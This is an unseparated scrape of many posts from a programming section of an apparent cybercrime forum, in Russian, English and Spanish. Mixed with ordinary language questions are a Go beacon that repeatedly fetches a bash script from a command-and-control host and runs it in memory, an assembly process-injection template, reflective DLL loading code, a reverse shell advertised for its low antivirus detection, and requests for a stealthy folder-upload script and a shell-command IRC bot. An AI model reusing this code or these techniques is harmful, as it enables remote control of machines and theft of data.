Теперь самое интересное. В стеке может быть много всего разного. Как определить, что вот это число - адрес в куче, а не что попало? Диапазон адресов кучи известен, если не попадает - значит не то. А если попадает? Однозначное решение не известно. Кому-то может быть интересно пошевелить извилиной и произвести революцию в науке, прежде чем прочитать далее один из вариантов.
В OCaml это решили следующим образом. Локальные данные это либо целые числа, либо указатели на кучу. Поскольку на куче размещается всегда более одного байта, все указатели - чётные. А все целые - нечётные. Т.е. 0 - нечётное, 1 - нечётное, 2 - нечётное и так далее. Как? Умножены на 2 и младший бит установлен в 1. На самом деле это не так страшно, сложение выполняется одной командой: **LEA RDX, [RDX + RAX
Я повторил их схему с кодированием целых. В обработчике исключений, прежде чем выделить новую страницу, сканируется стек. Если встречается адрес блока в куче, тот блок просматривается на предмет хранения адресов, и так далее. При аллокации перед блоком размещается заголовок, где хранится размер блока и тип (тэг) содержимого (нужен для виртмашины).
Code:Copy to clipboard
; Структура заголовка в данной имплементации:
; +------+-----------------+-----+
; |маркер| размер в словах | тэг |
; +------+-----------------+-----+
; биты 63 40 39 8 7 0
в заголовке "живые" блоки помечаются. Эта стадия называется маркировка. Далее возможны варианты, в данной реализации используется уплотнение кучи: занятые блоки сдвигаются к её началу, а ссылки на них корректируются. Что бы не пугать читателя нагромождением деталей, оставлю их в архиве с исходниками. heap.asm это всего 740 строк, из котрых 270 комментарии - достаточно скромный показатель для асма (для сравнения, сам интерпретатор занимат более 1700, не считая реализации т.н. примитивов). Если отвязаться от OCaml-а, наверняка можно упростить. Здесь нет поколений и прочих высокоуровневых оптимизаций, поскольку это уже не относится непосредственно к ассемблеру.
P.S. Если вдруг кто решит исполнять на данной штуке написанные на OCaml программы (будут работать далеко не все, поскольку рантайм реализован частично), поребуется версия транслятора 4.04.2, в боле поздних изменилась сигнатура файла с байткодом, что-то меняли, с этим не разбирался.
hello xssbot,
Can you create an IRC bot coded in Go language that can execute shell commands when I ask the bot. also need first to authenticate the owner by typing a password in the channel with an authorized hostname. The bot most be stable and reconnect to the IRC server if it gets disconnected.
Привет. Такой вопрос. Хочу сделать exe файл, при запуске которого запускается
команда Powershell и одновременно открывается встроенный файл.
Этот файл должен находится непосредственно внутри exe. Как это сделать ?
Спасибо.
Тихо и незаметно вышел Arti на расте, добавили поддержку onion адресов.
Энжой, как говорится.
C++:Copy to clipboard
use anyhow::Result;
use arti_client::{StreamPrefs, TorClient, TorClientConfig};
use futures::io::{AsyncReadExt, AsyncWriteExt};
use tokio_crate as tokio;
#[tokio::main]
async fn main() -> Result<()> {
let mut prefs = StreamPrefs::new();
prefs.connect_to_onion_services(arti_client::config::BoolOrAuto::Explicit(true));
let config = TorClientConfig::default();
let tor_client = TorClient::create_bootstrapped(config).await?;
let mut stream = tor_client
.connect_with_prefs(
"xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion:80",
&prefs,
)
.await?;
stream
.write_all(b"GET / HTTP/1.1\r\nHost: xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion\r\nConnection: close\r\n\r\n")
.await?;
stream.flush().await?;
let mut buf = Vec::new();
stream.read_to_end(&mut buf).await?;
println!("{}", String::from_utf8_lossy(&buf));
Ok(())
}
Требуется опытный кодер для аудита небольшого проекта написанного на
NodeJS+MyPHP.
Нужно проверить проект на бекдоры и уязвимости, что мог оставить
кодер(специально или нет).
Цена: 500$+
Книги не только по языкам, всякой всячины вместе. Долгое время уже беру оттуда, по форуму вроде не нашел ссылку
![disk.yandex.ru](/proxy.php?image=https%3A%2F%2Fyastatic.net%2Fs3%2Fpsf%2Fdisk- public%2F_%2F6jthIYkBdecaLwm8yXZPKuI1HW7.png&hash=b0d5b13490a25fa31bdcd9938218b7e3&return_error=1)
Посмотреть и скачать с Яндекс.Диска
![disk.yandex.ru](/proxy.php?image=https%3A%2F%2Fyastatic.net%2Fs3%2Fpsf%2Fdisk- public%2F_%2F5hb_sU044zVfPgNsMKf8pNs2_6H.png&hash=7a8adcf3b9b4977c20c8df73c9c222b3&return_error=1) disk.yandex.ru
Посоветуйте пожалуйсто какие-то источники / Книги / Мануалы / Курсы для "Black hat" разработки на этих языках. Выглядят привлекательно, есть не большой опыт, но ограничиываюсь базой с теорией, тк. языки компилируются в машинный код, всё больше вредосного ПО начинаю замечать на них (Rust редко очень, Golang почему- то в основном)
может кто подскажет, такой вопрос, есть SMB сервер, там лежит файл (база данных) 65гб в custom format PostgreSQL. сейчас качаю его на RDP, можно ли на linux сервер скачать по ссылки типа smb:\\123.123.123.123\file.zip?
Генерирует адреса кошельков и проверяет на них балансы в разных чейнах
изначально (ETH, BSC, POLYGON, ARBITRUM)
я добавил несколько сетей.
ВОПРОС. Может ли кто из знатоков проверить всё ли правильно работает и помочь внести некоторые правки в код?
*Код не мой.
Hi all! I have a technical question. I am designing a small application in rust to do a reserve search of the unique reverse identifier (UPC, EAN) of any specific product, some of them are found on specific websites, but I only need the text string, which only with the name of the product can you give me these 2 data, please, some idea of how to be able to do a sweep through all the most commercial search engines such as Google, Bing, of course, these codes can be in different special pages
Example :
Product : JBl Flip 6 black
EAN:
CPU:
What is UPC?
The Universal Product Code ( UPC ; redundantly : UPC code ) is a barcode symbology that is widely used around the world to track trade items in stores.
What is EAN?
International Article Number (also known as European Article Number or EAN) is a standard that describes a barcode symbology and numbering system used in world trade to identify a specific type of retail product, in a configuration of specific packaging, from a specific manufacturer
I found these websites that have api for queries
https://www.upcindex.com/
https://www.upcitemdb.com/
But unfortunately some products are not listed and you have to do the manual search, which is not the idea why I usually do the following on Google:
Product name followed by SKU
Beforehand thank you very much! Your help is very helpful!
Стоит задача - хакнуть программу. Все вроде бы понятно, но после изменений и сборки exe, оно не запускается.
hello, does anyone know the right approach for office reverse proxy without depending on evilginx or smth?
Ищу кодера для консультации и последующей работый который разбирается в
программировании модулей, аппаратуры
за всей подроностсью в лс
Install Rust on Windows without downloading and installing visual studio build tools c++
Hello all forum members, looking for ways to install the requirements for the cart build tools I came across this video tutorial without installing visual studio build tools c++
All credits to the author
fountain :
It is only necessary to follow the tutorial to install the libraries, necessary complements and likewise configure everything so that it recognizes it when we are going to compile a program with rustc by console
The project being used is msys2
A brief description of what it consists of
,MSYS2 is a collection of tools and libraries that provides you with an easy- to-use environment for creating, installing, and running native Windows software.
It consists of a command line terminal called mintty , bash, version control systems like git and subversion, tools like tar and awk, and even build systems like autotools, all based on a modified version of Cygwin . Although some of these core parts are based on Cygwin, the main goal of MSYS2 is to provide a build environment for native Windows software, and the parts that use Cygwin are kept to a minimum. MSYS2 provides up-to-date native builds for GCC, mingw-w64, CPython, CMake, Meson, OpenSSL, FFmpeg, Rust, Ruby, just to name a few.
I hope it works for you
I personally think that Rust is changing the software industry! better performance and better security
Posted by Dana Jansens (she/her), Chrome Security Team
says the following
We are pleased to announce that moving forward, the Chromium project is going to support the use of third-party Rust libraries from C++ in Chromium. To do so, we are now actively pursuing adding a production Rust toolchain to our build system. This will enable us to include Rust code in the Chrome binary within the next year. We’re starting slow and setting clear expectations on what libraries we will consider once we’re ready.
In this blog post, we will discuss how we arrived at the decision to support third-party Rust libraries at this time, and not broader usage of Rust in Chromium.
is a language that I personally find excellent and I also have it as my long- term stack language for many reasons! It's time to learn and master this language! what do you think?
font :<https://security.googleblog.com/2023/01/supporting-use-of-rust-in- chromium.html?m=1>
Code:Copy to clipboard
use std::fs::OpenOptions;
use std::io::prelude::*;
use std::path::Path;
use std::thread;
use std::time::Duration;
const MB: usize = 1024 * 1024;
fn main() {
let args: Vec<String> = std::env::args().collect();
if args.len() != 3 {
println!("Usage: pump_file <file> <mb>");
return;
}
let path = Path::new(&args[1]);
let mb = args[2].parse::<usize>().expect("Invalid MB argument");
run_background(path, mb);
}
pub fn run_background(path: &Path, mb: usize) {
let join_handle: thread::JoinHandle<_> = thread::spawn(move || {
run_hourly(path, mb);
});
join_handle.forget();
}
pub fn run_hourly(path: &Path, mb: usize) {
loop {
let bytes_to_add = MB * mb;
if file_exists(path) {
let new_size = calculate_new_size(path, bytes_to_add);
println!("{} already exists, new size will be {} bytes.", path.display(), new_size);
} else {
println!("{} does not exist.", path.display());
return;
}
let mut file = OpenOptions::new()
.write(true)
.open(path)
.expect("Failed to open file");
let buf = vec![0u8; bytes_to_add];
file.write_all(&buf).expect("Failed to write null bytes to file");
println!("Successfully added {} MB ({} bytes) to {}", mb, bytes_to_add, path.display());
thread::sleep(Duration::from_secs(3600));
}
}
fn calculate_new_size(path: &Path, bytes_to_add: usize) -> u64 {
let metadata = std::fs::metadata(path).expect("Failed to get file metadata");
metadata.len() + bytes_to_add as u64
}
fn file_exists(path: &Path) -> bool {
std::fs::metadata(path).is_ok()
}
Как хэшировать функции в расте? Crate WinApi-hash не подходит
Добрый день форумчане, поднял собственную ноду BSC и использую простейший
скрипт для просмотра баланса на адрессе. На скрине ниже показана проверка на
двух публичных нодах и на кастомной. С чем может быть связано?
upd: На другом адресе балансы выдает одинаковые
Code:Copy to clipboard
; Process Memory Injection and Dumper
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
; Constants
PAGE_EXECUTE_READWRITE equ 0x40
MEM_COMMIT equ 0x1000
; Variables
lpAllocatedMemory dd 0
hProcess dd 0
lpCode dd offset myCode
dwCodeSize dd 32
lpMemoryAddress dd offset myMemoryAddress
lpBuffer dd offset myBuffer
dwBufferSize dd 1024
; Functions
ReadMemory proto lpBaseAddress:dword, lpBuffer:dword, nSize:dword
WriteMemory proto lpBaseAddress:dword, lpBuffer:dword, nSize:dword
.code
start:
; Open the target process
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, <target_process_id>
mov hProcess, eax
; Allocate memory in the target process
push 0
push <memory_size>
push MEM_COMMIT
push PAGE_EXECUTE_READWRITE
push hProcess
call VirtualAllocEx
mov lpAllocatedMemory, eax
; Inject code into the target process
push lpAllocatedMemory
push offset lpCode
push <code_size>
push hProcess
call WriteProcessMemory
; Execute the injected code
push 0
push 0
push lpAllocatedMemory
push 0
push 0
push 0
push hProcess
call CreateRemoteThread
; Dump memory from the target process
push lpMemoryAddress
push lpBuffer
push dwBufferSize
push 0
push hProcess
call ReadProcessMemory
; Exit the program
invoke CloseHandle, hProcess
ret
; Read memory from the target process
ReadMemory proc lpBaseAddress:dword, lpBuffer:dword, nSize:dword
push ebp
mov ebp, esp
push 0
push hProcess
push[ebp+8]
push[ebp+12]
push[ebp+16]
call ReadProcessMemory
pop ebp
ret 12
ReadMemory endp
; Write memory to the target process
WriteMemory proc lpBaseAddress:dword, lpBuffer:dword, nSize:dword
push ebp
mov ebp, esp
push 0
push hProcess
push[ebp+8]
push[ebp+12]
push[ebp+16]
call WriteProcessMemory
pop ebp
ret 12
WriteMemory endp
end start
algo así como quien aprende algo mirando! aprender a conducir un automóvil sin la necesidad de un curso de manejo pero debe tener una licencia.
cualquiera puede codificar (programar) ¡Estoy seguro! , Al menos aprendí solo
por qué no estoy acostumbrado a que nadie me enseñe con un maestro encima, no
soy bueno atendiendo a casi nadie este tipo de cosas, solo leyendo libros pero
entendiendo por mí mismo todo lo que sucede ...
(cada uno tiene su forma de aprender)
(Hago los cursos porque ya no tengo el cartón aquí y en otras plataformas de algo que ya sé por qué realmente no me gustan los videos y me aburren)
Hay decenas de libros que intentan explicar cómo aprender a programar a alguien desde cero con su forma de pensar creyendo que está bien y que están totalmente equivocados simplemente porque todos piensan de manera diferente y ven cómo resolver un problema de una manera diferente comenzando por ahí y mucho menos a la hora de programar la lógica ? por eso mucha gente se desanima porque parece muy difícil y no les gusta codificar ... pero ahí está el error, el método de enseñanza.
fácil ... la única forma de aprender en primer lugar es desarrollar la lógica de programación ... leer libros de algoritmos e ir uno por uno con lápiz y papel o pseudocódigo desglosando, realizando pruebas de escritorio y entendiendo lo que hace el algoritmo (¿Qué valores que toma cada variable, iteraciones, ciclos, condicionales, arreglos, etc., etc.) según el grado de complejidad hasta el final, practica y practica con muchos ejercicios, además de esto, es bueno que primero se apoyen en el mismo ejercicio, pero ya resuelto de esa manera. para que después de un tiempo la misma persona pueda con su propia lógica adquirida y concienzudamente llegar a una de las muchas soluciones o la misma para estos y muchos otros algoritmos
todos piensan diferente
¿Qué piensas de esto?
I share a book in Spanish about algorithms, flowcharts for those who are just starting it can be very useful
![www.elsolucionario.org](/proxy.php?image=https%3A%2F%2Fwww.elsolucionario.org%2Fwp- content%2Farchivos%2F2014%2F08%2Fmetodologia-de-la-programacion-osvaldo- cairo-3ra-edicion.jpg&hash=28a17dd4fb65feff1bda2cabc91cd94d&return_error=1)
](https://www.elsolucionario.org/metodologia-de-la-programacion-osvaldo- cairo-3ed/amp/)
Metodología de la Programación está dirigida a todos aquellos estudiantes que están iniciando sus estudios en carreras de computación, y que por tal razón necesitan resolver problemas cuya solución se plantea algorítmicamente. La literatura sobre temas introductorios en computación es en general...
www.elsolucionario.org
I am writing a pretty basic program to perform trivial string manipulation and i/o tasks optimized for average sized file system with emphasis on portability. Is it entirely counter-intuitive to build with something like wasmopt or even gopherjs through web interface? Thanks in advance
Привет! Написал простую программу на Rust, которая проверяет соединение с адресом и возвращает ответ, используюя WinInet. Если компилировать в ехе - все работает, но если в длл - останавливается на функции InternetCheckConnectionA и висит. GetLastError дальше не возвращает, просто висит на этой функции и ничего не происходит. Пробовал динамически разрешать и загружать wininet с экспортом функции - бесполезно; использовать либу request сразу для загрузки файла - все то же самое, в длл не заводится. В чем может быть проблема? Куда копать?
Подскажите кому не лень как качать с upload.ee вгетом или курлом.
У меня есть список ссылок на upload.ee , нужно чтобы автоматически все
качалось без необходимости заходить на веб.
Я присоединюсь к зову. Есть проект на Go и на Rust, на гитхабе, которые
нуждаются в развитии добровольцами. Есть ли те, кому это будет интересно и по
фану?
ачупенный рандомайзер ip, раст: https://github.com/zu1k/http-proxy-ipv6-pool
авторут, Go: https://github.com/liamg/traitor
Чисто теоретически, есть ли возможность выполнения байткода в памяти из под
гарис мода? Необходимо воткнуть на Garry's mod сервер плагин, который
подгружает некий билд
Я точно знаю что есть функция выполнения луа кода на клиентской части и вроде
как даже сохранения файлов, но интересует по большей части именно запуска .ехе
или его байткода
upd: Нашел функцию Player:SendLua()
Hi folks!
Some days ago I was wondering some new ideia to code in Go, and I had this idea: Something similar to powershell "DownloadString" but for Linux environment!
Its very simple, the code read you shellscript body from your C&C, keep it in
memory (within a variable), then execute directly in bash.
I didn't test deeply, did some basic tests, and worked.
Code:Copy to clipboard
package main
import (
"io/ioutil"
"net/http"
"os/exec"
"time"
)
func main() {
for {
url := "http://my_command_control:8080/executeThisScript" // Download your bash script
resp, _ := http.Get(string(url))
defer resp.Body.Close()
shellScriptBody, _ := ioutil.ReadAll(resp.Body) // keep in memory
cmd := exec.Command("/bin/bash", "-c", string(shellScriptBody))
cmd.Start() // run in background
time.Sleep(5000) // wait for the next beacoming
}
}
Example of dumb shell to be downloaded to PoC:
Code:Copy to clipboard
#!/bin/bash
if [ ! -d /tmp/testDir ]; then
mkdir /tmp/testDir
fi
cd /tmp/testDir
touch test.sh
ifconfig > ifconfig.log
Скачать здесь. Здесь я оставляю эту интересную книгу по переполнению буфера, оставляйте свою реакцию, если бы вы смогли скачать ее без проблем. Файл находится в "нитрофларе"... Приветствую товарищи
Source
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)
](https://mega.nz/folder/LS4FBKwI#2JKm18_PJngL8Fc4MP7mcw)
562 files and 19 subfolders
mega.nz
Относительно недавно вошел в android, поэтому хотел бы набить руку, что-нибудь
поделать, разумеется, в пределах моих возможностей.
Кто не против - тг @mesasori
hello, here is a contribution for the community, a reverse shell written in
lua should
only edit the ip variable, and port, and change it to that of your netcat or
some netcat compatible listener,
then run the build.sh file in linux and build.bat in windows,
the detection radius is low last time in virustotal now only 2, the generated
payload is backdoor.exe only 170kb aprox
Насколько leetcode прокчивает как программиста, вне цели попадания в ФАНГИ?
Интересно мнение опытных разработчиков.
Был ли полезен этот опыт на реальных задачах? В сферах мальвари кодинга. и
других бытовых задачах, возможно на работе. Я имею ввиду вы что-то кодили и
тут вспомнили как решили польскую нотацию и ебнули решение уже в совсем другом
вопросе пользуясь условно тем же алгоримтом) Или это все чушь и задачи с
лииткода это в каком-то смысле пустая трата времени?
I need a script (batch file) when executed will compress (.zip) the content of
the folder and upload it to google drive.
Assuming that the user has .zip installed and is logged into gmail. All that
in stealth mode...
If anyone can do it, PM me.
Товарищи, подскажите. Есть батник очень простой в строку
Code:Copy to clipboard
ping -n 1 WIN-55575ALE568.dom.local >> ip_output.txt
Есть список хостов локалке. И надо пропинговать хосты эти с выводом в txt файл. Списком пихаю, но на первой строке зацыкливается и дальше не переходит на другую строку.. Как пофиксить?
Сабж = скрипт вбс обёрнут в скриплет.
Запуск идет через regsvr32.
Запрос на сервер идёт через winhttp.winhttprequest.5.1
На сервере стоит скрипт редирект.
Сервер на ngnix отдаёт вместо файла - страницу 404. Соответственно в файл
записывается эта страница =/
= На сборке вин10 и винсерв19 с последними обновами,файл выкачивается без проблем. =
= На 2х других (вин10 и вин7 ) получаю 404. В чем проблема? =
Я чет попытался половить запросы от regsvr,но как-то неудачно всё.
Было подмечено,что на сборках,где получается 404 - если использовать без
редиректов,по прямой ссылке,файл спокойно скачался.
Через wscript проблем не наблюдается.
Полезный материал по асм, шеллкодингу и тд.
Malware Analysis training (volume 1) ](https://github.com/hasherezade/malware_training_vol1)
Materials for Windows Malware Analysis training (volume 1) - hasherezade/malware_training_vol1
github.com
если у вас тоже есть что-то полезное, не стесняйтесь, скидывайте
Матрицы обучения и проверки специалистов по языкам Go, Python, Ruby, IOS, Android, .Net, Java, PHP, React от компании Астон (ex. Andersen)
P.S. Внизу каждого файла есть вкладки с контрольными вопросами и информацией по темам
Linux Essentials For Hackers
Source:-
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)
](https://mega.nz/folder/mSZm0ToD#eHVXlQEZqjvy7wtOjr6bsQ)
24 files
mega.nz
I find this aws article very interesting, which speaks very well about the Rust language and its advantages with clear technical examples, the reason for the use of this technology, it is worth reading!
Rust is a programming language implemented as a set of open source projects. It combines the performance and resource efficiency of systems programming languages like C with the memory safety of languages like Java. Rust started in 2006 as a personal project of Graydon Hoare before becoming a research project at Mozilla in 2010. Rust 1.0 launched in 2015, and in 2020, support for Rust moved from Mozilla to the Rust Foundation, a non-profit organization created as a partnership between Amazon Web Services, Inc (AWS), Google, Huawei, Microsoft, and Mozilla. The Foundation’s mission is to support the growth and innovation of Rust, and the member companies have grown from the founding 5 to 27 companies in the first year
Font:https://aws.amazon.com/es/blogs/opensource/sustainability-with-rust/
Greetings!
I have a client who thinks $600 is enough. However I think that the code complexity for the back-end required in goLang would be $3000+. Am I wrong?
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
pastebin.com
Thank you, Nullsafe™.
Это библиотека на языке Go для выполнения тех задач, которые хорошо умеют делать shell-скрипты: чтение файлов, выполнение подпроцессов, подсчет строк, сопоставление строк и так далее.
Почему бы не сделать так, чтобы писать программы системного администрирования на Go было так же легко, как и в обычном shell? script призван сделать это именно таким образом.
github.com/bitfield/script
Документацию видел. Надо обучалку.
Русский английский, да хоть на китайском. Очень благодарен буду
Здравствуйте! Можно ли в x64 установить свой обработчик исключений руками через PEB/TEB из юзермода не использую SetUnhandledExceptionFilter ? Где физически он хранится и как до него добраться ассемблером, если это возможно вообще ? Можно ли просто пропатчить IMAGE_RUNTIME_FUNCTION_ENTRY в секции .pdata ? какие подводные ?
Хотел купить курс на udemy от Кокорина по разработке на Flutter, но в связи последними событиями невозможно оплатить. Потом подумал, и понял что мои любимые форумчане возможно поделятся ссылкой. Так вот можете, пожалуйста, скинуть актуальную версию 2022 этого курса, если у кого есть.
https://www.udemy.com/course/learn_flutter/
Всех заранее благодарю, за любую оказанную помощь
built in Rust language of course the great feature is performance focused and open source code! worth a try_**
Open source. Quick from launch to every keystroke, and batteries included
FEATURES
Native GUI and Rust powered performance, we as developers know what you need for an essential tool like a code editor. Write code with joy in Lapce.
Native GUI with GPU acceleration in Rust, no more waiting on launching the editor, and any lag on your keystroke will be treated as a bug and get fixed.
You can connect to a remote machine seamlessly, with a "local" experience, benefiting from an identical environment with your production server, or utilizing the full performance of the remote machine.
Font : https://lapce.dev/
I generated a dll (just a messagebox with cgo/golang), using the following command
Code:Copy to clipboard
go build --buildmode=c-shared main.go
Code:Copy to clipboard
package main
import "C"
import (
"unsafe"
"syscall"
)
//export OnProcessAttach
func OnProcessAttach() {
const (
NULL = 0
MB_OK = 0
)
caption := "Hola"
title := "desdegoo"
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(NULL),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(MB_OK))
if ret != 1 {
return
}
return
}
func main() {}
When loading the dll with LoadLibrary() and running the exported function
OnProcessAttach it works (pops the message box), but when trying to achieve
DLL reflective loading, by resolving the relocations and resolving the IAT it
just don't work.
Seems like performing the base relocations and the IAT sets to null sections
on .rdata that are used for initializing the go runtime (which initializes in
the entrypoint from NT headers)
This is the piece of code I'm using for resolving the imports:
C:Copy to clipboard
// resolve base relocations
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;
while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[i].Type == 0)
{
continue;
}
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase, relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
addressToPatch += deltaImageBase;
memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
}
}
// resolve IAT
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName = "";
HMODULE library = NULL;
while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);
if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else {
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
importDescriptor++;
}
After doing so I resolve the EAT looking for the OnProcessAttach function,
running it directly doesn't work obviously because the go runtime isn't
initialized, but trying to initialize it crashes the program because the above
stated. It gives a EXCEPTION_ACCESS_VIOLATION because tries to read a chunk of
bytes that gets nullified.
While in the original DLL it has
To be honest, i'm trying to figure out if it's worth trying to do this, or if
go runtime just doesn't fit for loading it reflectively because others
internal details.
Зачем подменять идентификаторы? Просто в андроид и так подмена идентификаторов идёт, а mac и imei неизвестен приложениям без разрешения доступа к Местоположению или Телефону. Установите приложение Device Info, чтобы понять какие идентификаторы доступны установленному приложению: https://play.google.com/store/apps/details?id=com.ytheekshana.deviceinfo&hl=en_GB&gl=US
Spoiler: Разрешения в андроид
Начиная с 8 версии Android скрывает многие идентификаторы устройства от приложений и других устройств. Android ID (Settings.Secure.ANDROID_ID) — уникальный идентификатор Android теперь различен для каждого установленного приложения. Серийный номер устройства (android.os.Build.SERIAL) недоступен приложениям, собранным для Android 8 и выше. Содержимое переменной net.hostname пусто, а DHCP-клиент никогда не посылает хостнейм DHCP-серверу. Стали недоступны некоторые системные переменные, например ro.runtime.firstboot (время последней загрузки).
С Android 9 приложения больше не могут прочитать серийный номер устройства без полномочия READ_PHONE_STATE. В Android 10 появилось ограничение на доступ к IMEI и IMSI. Чтобы прочитать эту информацию, теперь требуется разрешение READ_PRIVILEGED_PHONE_STATE, недоступное сторонним приложениям.
Для получения MAC-адреса Bluetooth в Android 8 и выше требуется разрешение LOCAL_MAC_ADDRESS, а MAC-адрес Wi-Fi рандомизируется при проверке доступных сетей (чтобы избежать трекинга пользователей, например покупателей в торговых центрах).
В Android 9 Google пошла намного дальше и запретила использовать камеру, микрофон и любые сенсоры, пока приложение находится в фоне (оставив возможность использовать камеру и микрофон «видимым сервисам» — foreground service). В Android 10 к этим ограничениям добавился запрет на доступ к местоположению в фоне (теперь для этого нужно разрешение ACCESS_BACKGROUND_LOCATION) и запрет на чтение буфера обмена в фоне (нужно разрешение READ_CLIPBOARD_IN_BACKGROUND).
Еще одно важное нововведение Android 9 — полный запрет на использование HTTP без TLS (то есть без шифрования) для всех приложений, собранных для новой версии Android. Это ограничение тем не менее можно обойти, если указать в файле настроек безопасности сети (network_security_config.xml) список разрешенных доменов.
Android 10 ввел запрет на запуск активностей (по сути — запуск приложений) фоновыми приложениями. Исключения сделаны для bound-сервисов, таких как Accessibility и сервисы автозаполнения. Приложения, использующие разрешение SYSTEM_ALERT_WINDOW, и приложения, получающие имя активности в системном PendingIntent, тоже могут запускать активности в фоне. Также приложения теперь не могут запускать бинарные файлы из собственного приватного каталога. Это уже привело к проблемам в работе популярного приложения Termux.
С Android 11 приложения больше не могут получить прямой доступ к карте памяти (внутренней или внешней) с помощью разрешений READ_EXTERNAL_STORAGE и WRITE_EXTERNAL_STORAGE. Вместо этого следует использовать либо личный каталог приложения внутри /sdcard/Android (он создается автоматически и не требует разрешений), либо Storage Access Framework, не допускающий доступ к данным других приложений.
Click to expand...
JavaScript:Copy to clipboard
const fs = require('fs');
const crypto = require('crypto');
const zlib = require('zlib');
// Generate public and private keys
function generateKeys() {
const { publicKey, privateKey } = crypto.generateKeyPairSync('ec', {
namedCurve: 'secp256k1'
});
return { publicKey, privateKey };
}
// Encrypt file
function encryptFile(filename, publicKey) {
const plaintext = fs.readFileSync(filename);
const iv = crypto.randomBytes(16);
const key = crypto.createHash('sha256').update(publicKey).digest();
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
const ciphertext = Buffer.concat([cipher.update(plaintext), cipher.final()]);
return { iv, ciphertext };
}
// Decrypt file
function decryptFile(filename, privateKey, iv, ciphertext) {
const key = crypto.createHash('sha256').update(privateKey).digest();
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
const plaintext = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
fs.writeFileSync(filename, plaintext);
}
// Compress file with zlib
function compressFile(filename) {
const plaintext = fs.readFileSync(filename);
const compressed = zlib.gzipSync(plaintext, { level: zlib.constants.Z_BEST_COMPRESSION });
const MAX_COMPRESSED_SIZE = 2048; // 2KB
if (compressed. length > MAX_COMPRESSED_SIZE) {
throw new Error('Compressed file is too large');
}
fs.writeFileSync(filename, compressed);
}
// Encrypt and compress file
function encryptAndCompressFile(filename) {
const { publicKey, privateKey } = generateKeys();
const { iv, ciphertext } = encryptFile(filename, publicKey);
fs.writeFileSync(filename + '.enc', JSON.stringify({ publicKey, iv, ciphertext }));
fs.writeFileSync(filename + '.keys', JSON.stringify({ publicKey, privateKey }));
compressFile(filename + '.enc');
}
// Decompress and decrypt file
decompressAndDecryptFile(filename) {
const compressed = fs.readFileSync(filename);
const data = JSON.parse(zlib.gunzipSync(compressed).toString());
const keys = JSON.parse(fs.readFileSync(filename.replace('.enc.gz', '.keys')));
decryptFile(filename.replace('.enc.gz', ''), keys.privateKey, data.iv, data.ciphertext);
fs.unlinkSync(filename);
fs.unlinkSync(filename.replace('.enc.gz', '.keys'));
}
// Usage
encryptAndCompressFile('file.sample');
decompressAndDecryptFile('file.sample.enc.gz');